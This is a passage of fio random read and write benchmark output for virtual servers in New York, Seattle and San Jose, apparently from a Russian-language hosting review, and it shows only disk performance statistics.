complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2155832/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8421.3MB, aggrb=143719KB/s, minb=143719KB/s, maxb=143719KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=2154518/8, merge=0/5, ticks=426160/0, in_queue=425888, util=99.86%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29160: Mon Dec 16 01:47:35 2019
write: io=2524.6MB, bw=43084KB/s, iops=10770, runt= 60003msec
clat (usec): min=59, max=66717, avg=738.95, stdev=4867.38
lat (usec): min=59, max=66717, avg=739.53, stdev=4867.39
clat percentiles (usec):
| 1.00th=[ 65], 5.00th=[ 67], 10.00th=[ 69], 20.00th=[ 72],
| 30.00th=[ 76], 40.00th=[ 80], 50.00th=[ 84], 60.00th=[ 89],
| 70.00th=[ 94], 80.00th=[ 102], 90.00th=[ 117], 95.00th=[ 137],
| 99.00th=[37120], 99.50th=[39168], 99.90th=[41728], 99.95th=[42752],
| 99.99th=[44288]
bw (KB /s): min= 3867, max= 6800, per=12.50%, avg=5386.89, stdev=586.21
lat (usec) : 100=77.20%, 250=20.84%, 500=0.17%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=1.77%
lat (msec) : 100=0.01%
cpu : usr=0.60%, sys=2.64%, ctx=1304520, majf=0, minf=58
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=646286/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2524.6MB, aggrb=43083KB/s, minb=43083KB/s, maxb=43083KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=169/645485, merge=0/1412, ticks=124/48104, in_queue=48064, util=79.91%
```
**fio (США, Нью-Йорк)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=31460: Mon Dec 16 01:24:50 2019
read : io=7908.6MB, bw=134971KB/s, iops=33742, runt= 60001msec
clat (usec): min=2, max=12146, avg=231.04, stdev=161.17
lat (usec): min=2, max=12147, avg=231.97, stdev=161.24
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 8], 10.00th=[ 157], 20.00th=[ 179],
| 30.00th=[ 193], 40.00th=[ 207], 50.00th=[ 221], 60.00th=[ 237],
| 70.00th=[ 258], 80.00th=[ 286], 90.00th=[ 334], 95.00th=[ 382],
| 99.00th=[ 524], 99.50th=[ 620], 99.90th=[ 2384], 99.95th=[ 2960],
| 99.99th=[ 4448]
bw (KB /s): min=13384, max=22712, per=12.51%, avg=16881.32, stdev=1712.99
lat (usec) : 4=3.51%, 10=2.33%, 20=1.79%, 50=0.38%, 100=0.01%
lat (usec) : 250=58.30%, 500=32.43%, 750=0.94%, 1000=0.08%
lat (msec) : 2=0.05%, 4=0.16%, 10=0.01%, 20=0.01%
cpu : usr=2.97%, sys=7.95%, ctx=1868322, majf=2, minf=102
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2024594/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7908.6MB, aggrb=134970KB/s, minb=134970KB/s, maxb=134970KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1855108/9, merge=0/4, ticks=324384/0, in_queue=323904, util=98.33%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=31487: Mon Dec 16 01:26:56 2019
write: io=23284MB, bw=397335KB/s, iops=99333, runt= 60007msec
clat (usec): min=1, max=128077, avg=54.48, stdev=877.46
lat (usec): min=2, max=128078, avg=59.22, stdev=936.71
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 7], 95.00th=[ 10],
| 99.00th=[ 25], 99.50th=[ 716], 99.90th=[15680], 99.95th=[19840],
| 99.99th=[28288]
bw (KB /s): min= 1, max=63112, per=12.66%, avg=50293.42, stdev=7068.36
lat (usec) : 2=0.01%, 4=61.17%, 10=33.34%, 20=4.16%, 50=0.63%
lat (usec) : 100=0.10%, 250=0.04%, 500=0.03%, 750=0.03%, 1000=0.01%
lat (msec) : 2=0.04%, 4=0.06%, 10=0.17%, 20=0.16%, 50=0.05%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.45%, sys=6.10%, ctx=95599, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=5960722/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=23284MB, aggrb=397335KB/s, minb=397335KB/s, maxb=397335KB/s, mint=60007msec, maxt=60007msec
Disk stats (read/write):
vda: ios=174/1557066, merge=0/10682, ticks=160/6476912, in_queue=6477100, util=94.01%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=31474: Mon Dec 16 01:25:56 2019
read : io=8180.5MB, bw=139606KB/s, iops=34901, runt= 60003msec
clat (usec): min=118, max=10289, avg=223.40, stdev=102.27
lat (usec): min=119, max=10289, avg=224.29, stdev=102.35
clat percentiles (usec):
| 1.00th=[ 145], 5.00th=[ 157], 10.00th=[ 165], 20.00th=[ 177],
| 30.00th=[ 187], 40.00th=[ 197], 50.00th=[ 209], 60.00th=[ 221],
| 70.00th=[ 237], 80.00th=[ 258], 90.00th=[ 294], 95.00th=[ 330],
| 99.00th=[ 422], 99.50th=[ 478], 99.90th=[ 748], 99.95th=[ 1176],
| 99.99th=[ 5344]
bw (KB /s): min=14192, max=19104, per=12.50%, avg=17452.85, stdev=775.78
lat (usec) : 250=76.22%, 500=23.39%, 750=0.30%, 1000=0.04%
lat (msec) : 2=0.03%, 4=0.01%, 10=0.02%, 20=0.01%
cpu : usr=3.12%, sys=6.80%, ctx=2099536, majf=0, minf=65
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2094191/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8180.5MB, aggrb=139605KB/s, minb=139605KB/s, maxb=139605KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=2090729/8, merge=0/5, ticks=366884/0, in_queue=366540, util=99.80%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=31500: Mon Dec 16 01:27:57 2019
write: io=2163.8MB, bw=36926KB/s, iops=9231, runt= 60004msec
clat (usec): min=66, max=48157, avg=860.52, stdev=4642.86
lat (usec): min=66, max=48158, avg=861.51, stdev=4642.89
clat percentiles (usec):
| 1.00th=[ 72], 5.00th=[ 75], 10.00th=[ 77], 20.00th=[ 82],
| 30.00th=[ 87], 40.00th=[ 92], 50.00th=[ 97], 60.00th=[ 103],
| 70.00th=[ 110], 80.00th=[ 119], 90.00th=[ 141], 95.00th=[ 173],
| 99.00th=[30080], 99.50th=[31104], 99.90th=[33024], 99.95th=[34048],
| 99.99th=[37120]
bw (KB /s): min= 3373, max= 5824, per=12.51%, avg=4618.34, stdev=393.71
lat (usec) : 100=53.98%, 250=43.09%, 500=0.28%, 750=0.02%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=2.61%
cpu : usr=0.93%, sys=3.20%, ctx=1122973, majf=0, minf=73
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=553923/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2163.8MB, aggrb=36925KB/s, minb=36925KB/s, maxb=36925KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
vda: ios=171/553407, merge=0/1598, ticks=188/44808, in_queue=44824, util=74.39%
```
**fio (США, Сиэтл)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30897: Mon Dec 16 01:48:04 2019
read : io=8540.3MB, bw=145752KB/s, iops=36437, runt= 60001msec
clat (usec): min=1, max=15745, avg=214.05, stdev=185.39
lat (usec): min=2, max=15745, avg=214.92, stdev=185.76
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 8], 10.00th=[ 153], 20.00th=[ 175],
| 30.00th=[ 187], 40.00th=[ 195], 50.00th=[ 205], 60.00th=[ 217],
| 70.00th=[ 231], 80.00th=[ 249], 90.00th=[ 286], 95.00th=[ 334],
| 99.00th=[ 510], 99.50th=[ 1004], 99.90th=[ 2544], 99.95th=[ 2832],
| 99.99th=[ 4256]
bw (KB /s): min=13048, max=24792, per=12.49%, avg=18199.83, stdev=1860.18
lat (usec) : 2=0.01%, 4=2.96%, 10=3.83%, 20=2.03%, 50=0.28%
lat (usec) : 100=0.01%, 250=71.01%, 500=18.85%, 750=0.43%, 1000=0.11%
lat (msec) : 2=0.23%, 4=0.26%, 10=0.01%, 20=0.01%
cpu : usr=3.03%, sys=7.68%, ctx=1995422, majf=2, minf=87
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2186315/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8540.3MB, aggrb=145751KB/s, minb=145751KB/s, maxb=145751KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1985256/10, merge=0/3, ticks=350132/0, in_queue=350100, util=98.15%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30924: Mon Dec 16 01:50:10 2019
write: io=25968MB, bw=443099KB/s, iops=110774, runt= 60012msec
clat (usec): min=1, max=99789, avg=47.62, stdev=816.45
lat (usec): min=2, max=108292, avg=52.13, stdev=875.35
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 4], 90.00th=[ 5], 95.00th=[ 7],
| 99.00th=[ 16], 99.50th=[ 159], 99.90th=[14528], 99.95th=[18816],
| 99.99th=[27520]
bw (KB /s): min= 1, max=66464, per=12.65%, avg=56037.47, stdev=5979.41
lat (usec) : 2=0.01%, 4=71.13%, 10=25.78%, 20=2.32%, 50=0.18%
lat (usec) : 100=0.07%, 250=0.03%, 500=0.02%, 750=0.03%, 1000=0.01%
lat (msec) : 2=0.03%, 4=0.06%, 10=0.15%, 20=0.15%, 50=0.04%
lat (msec) : 100=0.01%
cpu : usr=4.66%, sys=5.89%, ctx=94569, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=6647820/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=25968MB, aggrb=443099KB/s, minb=443099KB/s, maxb=443099KB/s, mint=60012msec, maxt=60012msec
Disk stats (read/write):
vda: ios=169/1692956, merge=0/10324, ticks=260/6620580, in_queue=6621932, util=96.39%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30911: Mon Dec 16 01:49:09 2019
read : io=8739.6MB, bw=149150KB/s, iops=37287, runt= 60002msec
clat (usec): min=121, max=13671, avg=209.06, stdev=70.91
lat (usec): min=122, max=13672, avg=209.89, stdev=70.97
clat percentiles (usec):
| 1.00th=[ 147], 5.00th=[ 159], 10.00th=[ 167], 20.00th=[ 177],
| 30.00th=[ 185], 40.00th=[ 191], 50.00th=[ 199], 60.00th=[ 209],
| 70.00th=[ 219], 80.00th=[ 235], 90.00th=[ 262], 95.00th=[ 290],
| 99.00th=[ 362], 99.50th=[ 398], 99.90th=[ 524], 99.95th=[ 700],
| 99.99th=[ 2192]
bw (KB /s): min=16304, max=19560, per=12.50%, avg=18649.24, stdev=461.35
lat (usec) : 250=86.74%, 500=13.13%, 750=0.08%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.01%, 10=0.01%, 20=0.01%
cpu : usr=3.19%, sys=6.68%, ctx=2243199, majf=0, minf=80
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2237318/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8739.6MB, aggrb=149149KB/s, minb=149149KB/s, maxb=149149KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=2229705/8, merge=0/5, ticks=387068/0, in_queue=387048, util=99.89%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30937: Mon Dec 16 01:51:10 2019
write: io=2329.5MB, bw=39753KB/s, iops=9938, runt= 60006msec
clat (usec): min=67, max=47499, avg=799.36, stdev=4594.63
lat (usec): min=68, max=47500, avg=800.27, stdev=4594.65
clat percentiles (usec):
| 1.00th=[ 74], 5.00th=[ 76], 10.00th=[ 77], 20.00th=[ 80],
| 30.00th=[ 84], 40.00th=[ 88], 50.00th=[ 92], 60.00th=[ 96],
| 70.00th=[ 101], 80.00th=[ 109], 90.00th=[ 121], 95.00th=[ 137],
| 99.00th=[31360], 99.50th=[32640], 99.90th=[34560], 99.95th=[35584],
| 99.99th=[38144]
bw (KB /s): min= 3671, max= 5968, per=12.51%, avg=4972.47, stdev=355.85
lat (usec) : 100=66.85%, 250=30.72%, 500=0.10%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=2.31%
cpu : usr=1.01%, sys=2.93%, ctx=1207149, majf=0, minf=73
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=596349/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2329.5MB, aggrb=39752KB/s, minb=39752KB/s, maxb=39752KB/s, mint=60006msec, maxt=60006msec
Disk stats (read/write):
vda: ios=173/595676, merge=0/1579, ticks=128/45208, in_queue=45220, util=75.16%
```
**fio (США, Сан-Хосе)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=22097: Mon Dec 16 03:10:03 2019
read : io=8602.3MB, bw=146810KB/s, iops=36702, runt= 60001msec
clat (usec): min=1, max=37853, avg=214.28, stdev=166.22
lat (usec): min=1, max=37853, avg=214.82, stdev=166.22
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 157], 20.00th=[ 181],
| 30.00th=[ 193], 40.00th=[ 203], 50.00th=[ 213], 60.00th=[ 223],
| 70.00th=[ 237], 80.00th=[ 255], 90.00th=[ 286], 95.00th=[ 318],
| 99.00th=[ 442], 99.50th=[ 676], 99.90th=[ 2352], 99.95th=[ 2768],
| 99.99th=[ 4048]
bw (KB /s): min=12072, max=25480, per=12.50%, avg=18347.99, stdev=2080.92
lat (usec) : 2=0.21%, 4=7.02%, 10=1.23%, 20=0.58%, 50=0.04%
lat (usec) : 100=0.01%, 250=68.73%, 500=21.43%, 750=0.29%, 1000=0.11%
lat (msec) : 2=0.17%, 4=0.17%, 10=0.01%, 20=0.01%, 50=0.01%
cpu : usr=1.79%, sys=5.69%, ctx=2009851, majf=2, minf=95
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2202186/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8602.3MB, aggrb=146809KB/s, minb=146809KB/s, maxb=146809KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1997992/9, merge=0/4, ticks=411600/0, in_queue=411320, util=98.32%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=22123: Mon Dec 16 03:12:12 2019
write: io=35829MB, bw=610865KB/s, iops=152716, runt= 60061msec
clat (usec): min=1, max=192241, avg=38.25, stdev=985.47
lat (usec): min=1, max=270211, avg=40.80, stdev=1029.68
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 3], 90.00th=[ 3], 95.00th=[ 4],
| 99.00th=[ 10], 99.50th=[ 18], 99.90th=[13376], 99.95th=[19584],
| 99.99th=[35584]
bw (KB /s): min= 1, max=97767, per=12.65%, avg=77295.31, stdev=10675.70
lat (usec) : 2=0.22%, 4=92.18%, 10=6.54%, 20=0.68%, 50=0.08%
lat (usec) : 100=0.02%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.02%, 10=0.07%, 20=0.10%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.80%, sys=7.39%, ctx=68251, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=9172295/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=35829MB, aggrb=610865KB/s, minb=610865KB/s, maxb=610865KB/s, mint=60061msec, maxt=60061msec
Disk stats (read/write):
vda: ios=172/642212, merge=0/8314, ticks=1048/6914268, in_queue=6915840, util=99.12%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=22110: Mon Dec 16 03:11:12 2019
read : io=8145.5MB, bw=139011KB/s, iops=34752, runt= 60002msec
clat (usec): min=131, max=6165, avg=226.49, stdev=78.22
lat (usec): min=132, max=6166, avg=227.00, stdev=78.23
clat percentiles (usec):
| 1.00th=[ 155], 5.00th=[ 167], 10.00th=[ 177], 20.00th=[ 189],
| 30.00th=[ 197], 40.00th=[ 207], 50.00th=[ 215], 60.00th=[ 227],
| 70.00th=[ 239], 80.00th=[ 255], 90.00th=[ 282], 95.00th=[ 310],
| 99.00th=[ 394], 99.50th=[ 454], 99.90th=[ 1160], 99.95th=[ 1624],
| 99.99th=[ 3152]
bw (KB /s): min=14064, max=18608, per=12.50%, avg=17378.33, stdev=844.92
lat (usec) : 250=77.18%, 500=22.45%, 750=0.20%, 1000=0.05%
lat (msec) : 2=0.10%, 4=0.02%, 10=0.01%
cpu : usr=1.73%, sys=4.97%, ctx=2088154, majf=0, minf=72
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2085239/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8145.5MB, aggrb=139011KB/s, minb=139011KB/s, maxb=139011KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=2080813/8, merge=0/5, ticks=428548/0, in_queue=428396, util=99.87%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=22136: Mon Dec 16 03:13:12 2019
write: io=2439.5MB, bw=41632KB/s, iops=10407, runt= 60003msec
clat (usec): min=60, max=52245, avg=764.84, stdev=4993.14
lat (usec): min=61, max=52245, avg=765.41, stdev=4993.15
clat percentiles (usec):
| 1.00th=[ 66], 5.00th=[ 68], 10.00th=[ 70], 20.00th=[ 74],
| 30.00th=[ 78], 40.00th=[ 82], 50.00th=[ 87], 60.00th=[ 91],
| 70.00th=[ 97], 80.00th=[ 105], 90.00th=[ 123], 95.00th=[ 149],
| 99.00th=[37632], 99.50th=[40192], 99.90th=[42752], 99.95th=[43264],
| 99.99th=[45312]
bw (KB /s): min= 3512, max= 6645, per=12.50%, avg=5204.98, stdev=587.61
lat (usec) : 100=74.30%, 250=23.54%, 500=0.30%, 750=0.02%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=1.80%
lat (msec) : 100=0.01%
cpu : usr=0.57%, sys=2.59%, ctx=1260736, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=624507/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
